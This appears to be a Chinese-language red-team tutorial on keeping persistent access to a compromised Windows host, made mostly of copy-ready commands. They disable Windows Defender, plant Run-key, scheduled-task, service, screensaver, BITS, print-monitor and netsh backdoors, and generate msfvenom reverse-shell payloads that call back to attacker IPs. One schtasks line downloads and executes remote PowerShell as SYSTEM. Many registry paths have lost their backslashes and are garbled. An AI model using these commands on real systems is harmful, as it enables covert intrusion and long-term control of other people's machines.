windwos单机权限维持
前言:win10关闭windows defender
reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
然后重启~
以下大部分操作需要bypass uac
开机启动目录
权限:都可以
放在该目录下的程序在用户启动时候会自动登录。
nt以后的目录
对当前用户有效:
C:UsersUsernameAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
对所有用户有效:
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
nt6以前的目录:
对当前用户有效:
C:Documents and SettingsHunter「开始」菜单程序启动
对所有用户有效:
C:Documents and SettingsAll Users「开始」菜单程序启动
shift 键后门
权限:trust install
路径:C:windowssystem32sethc.exe
我们替换sethc.exe需要trustinstall的权限。
直接把我们的exe替换成sethc.exe名字也变,当管理员5次shift的时候就会上线。
在老版本的empire中可以自动实现,但是bc-security的empire中没有相应的模块。
注册表run键注入后门(注册表自启动)
权限:提权不提权都可以。
添加一个木马程序的路径,实现开机自启动。
常用的注册表启动键有:
Run键
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
WinlogonUserinit键
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon
类似的还有很多,关键词:注册表启动键值。
原理
其实是在以下路径下生成一个vbs文件,然后把该文件的路径放到注册表中然后自启动
C:UsersplumeAppDataLocalTemp
这里的run键其实分为当前用户的run键,以及本地计算机的run键:
当前用户的run键:
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
本地计算机的run键:
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
reg add"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
再下面的两个位置可以放任意的有效负载或DLL来实现持久性。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 001" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx 001Dep end" /v Pentestlab /t REG_SZ /d "C: mppentestlab.dll"
手动利用方式
将msf生成的反弹shell的exe路径加入注册表中。(这里的路径无论是哪个都行)
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:cnm.exe"
这里的命令框需要管理员权限。
msf利用方式
在这里我们先msf进行一个上线。
在msf中有一个persistence的模块他其实就是利用,注册变启动项后门的
run persistence -h查看帮助
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的IP,这里的端口最好别是当前建立监听的端口。
我们测试一下以上方式
然后将虚拟机关机。
连接已经掉了。
然后再msf中设置外联:
其他可以权限维持的注册键
1.Load注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
2.Userinit注册键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。
3.Explorer\Run注册键
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce
5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices
6.RunOnce\Setup注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。
8.Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。
计划任务后门
权限要求:未降权的管理员权限/普通用户。
原理
其实就是在msf中启动一个web,然后系统重启时候,我们固定去下载。感觉这里本地去计划去启动一个exe也是可以的
msf利用方式
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以 SYSTEM的形式下载并执行基于PowerShell的有效负载。win7以及之前的版本使用at,win8以及之后的版本使用schtasks.
schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.64.136:8080/9NaSf4QA'''))'" /sc onlogon /ru System
结果如下:
服务后门
权限:未降权的管理员权限。
命令行实现
sc create pentestlab binpath= "cmd.exe /k C:cnm.exe" start="auto" obj="LocalSystem"
sc start pentestlab
其实就是启动一个服务来的
msf利用
metsvc模块
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
run metsvc -r #卸载现有的meterpreter服务(已生成的文件需要自己删除)
屏幕保护后门
权限要求:普通用户。
原理
涉及到以下几个注册表的位置
HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE
HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive
HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure
HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut
可以通过命令提示符或从PowerShell控制台修改或添加注册表项。由于.scr文件本质上是可执行文件, 因此两个扩展名都可以用于后门植入。
reg add "hkcucontrol paneldesktop" /v cnm.EXE /d c:cnd.exe
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:cnm.scr
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' - Value 'c:cnm.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' - Value 'c:cnm.scr'
利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但 是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。
只有在管理员不动,且生成屏保的时候才会反弹回来,且在屏保消失后断开。。。。。这里我是没有复现成功的
其他师傅的踩坑记录:
屏保程序的正常运行必须保证这几个键都有数据才可以,因此必须把4个键都重写一遍。另外,经测试屏保程序最短触发时间为60秒,即使改成小于60的数值,依然还是60秒后执行程序。
所以应该把四个键都写一遍
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d C:UsershunterDesktopeacon.exe /f
reg add "hkcucontrol paneldesktop" /v ScreenSaveActive /d 1 /f
reg add "hkcucontrol paneldesktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcucontrol paneldesktop" /v ScreenSaveTimeOut /d 60 /f
BITS 权限维持
权限要求:管理员权限(不必过UAC)。
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一 是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传 输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和 管理文件传输。
从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件, PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地 目录。
将msf生成的的反向链接exe,放在www的html下面(注意这时候的exe的属性--安全要设置为user,直到外部能够访问呢)
下载cmd命令如下:
bitsadmin /transfer backdoor /download /priority high http://192.168.64.136/cnd.exe C:cnd.exe
powershell命令:
Start-BitsTransfer -Source "http://192.168.64.136/cnd.exe" -Destination "C:1.exe"
然后执行下面的命令:
bitsadmin /create 123
bitsadmin /addfile 123 "http://192.168.64.136/cnd.exe" "C:cnd.exe"
bitsadmin /SetNotifyCmdLine 123 C:cnd.exe NUL
bitsadmin /SetMinRetryDelay "123" 60
bitsadmin /resume 123
当我们作业在系统上执行的时候就会反弹回来
msf的利用
use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.64.136
exploit
bitsadmin /SetNotifyCmdLine abc regsvr32 /s /n /u /i:http://192.168.64.136:8080/O0srhRjtNH2qQ38.sct scrobj.dll
时间服务器权限维持(dll)
原理
Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的 时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启 动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任 意代码。
由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要 管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。 根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。
总的来说其实就是将恶意的dll放在注册表中时间服务的位置.然后操作系统同步时间的时候就启动喽。
msf利用方式
先生成恶意的dll,然后将其的位置加载到注册表中win32time服务调用的地方,就可以权限维持,但是这个方法我在复现的时候失败了.........
淦!!!又失败了
其实dll权限维持是非常隐蔽的。
后台打印权限维持(dll)
权限要求:未降权的管理员权限。
原理
后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API 执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器 文件。此函数能够将DLL注入spoolsv.exe进程,并且通过创建注册表项,red team operator可以在系 统上实现持久性。
其实总的来说就是,打印后台处理程序的api包含一个AddMonitor函数,他会将恶意的dll注入到spoolsv.exe进程。
msf利用方式
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4444 -f dll > /root/1/test.dll
生成一个恶意的dll,然后将它改名为monitor.dll,我们将改dll放在C:WindowsSystem32路径下。
然后执行以下命令,需要管理员的cmd:
reg add "hklmsystemcurrentcontrolsetcontrolprintmonitorsmonitor" /v "Driver" /d "monitor.dll" /t REG_SZ
重启后用户没有登陆就可以获得shell.
netsh权限维持(dll)
权限要求:未降权的管理员权限。
原理
netsh也是Windows自带的命令,是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能,且DLL导入后会写进注册表,永久有效:
msf利用方式
拿到meter后~
现生成恶意的dll:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4445 -f dll > /root/1/test2.dll
然后上传。
在shell中通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [DLL path]
然后将netsh加到自启动中
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "cmd /c C:WindowsSystem32 etsh"
如下
影子账户权限维持
net user test test123456 /add
net localgroup administrators $test /add
看了网上影子账户权限维持的文章挺尴尬的,因为win10注册表没有对应的键。